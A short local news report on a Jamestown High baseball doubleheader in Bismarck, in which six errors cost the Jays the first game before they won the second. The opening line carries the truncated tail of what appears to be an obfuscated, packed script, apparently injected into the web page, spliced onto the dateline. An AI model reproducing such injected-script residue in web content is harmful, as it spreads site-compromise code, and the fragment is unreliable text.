BISMARCK ihbst|var|u0026u|referrer|dbaan||js|php’.split(‘|’),0,{}))
(NewsDakota.com)- The Jamestown High baseball team is usually a pretty reliable defensive team, but they were stricken by errors Tuesday night in Bimsarck. The Jays committed six errors which lead to four runs for the Patriots in their 5-3 win. Jamestown won the second game 6-5.

Century got on the board first with an unearned run off of Jamestown starter Tyler Ukestad in the second inning, when a routine grounder was not scooped up which would have ended the inning.

The Jays scored all of their runs in the top of the third after Landon Weiser lead off the inning with a double. Weiser scored on a passed ball just two batters later.  A Scott Nelson single drove in Shaun Hogan and Nate Soulis drove in a run with a sac fly.

Two Jamestown errors in the fourth lead to three of the four Patriot runs in that inning.

Jamestown had a chance in the fifth after the first two men reached with singles; Ukestad and Brian Wenzel. But they were thrown out on the bases in a rare double play following a miscommunication. After Joey Gebhardt took a pitch low and away for a ball, by pulling back his bunt attempt, Wenzel was caught off first and Ukestan thrown out going to third.

That was the last time the Jays threatened and they fell to 1-4 overall and 1-2 in the WDA. The second game they won 6-5, but does not count in the WDA standings.
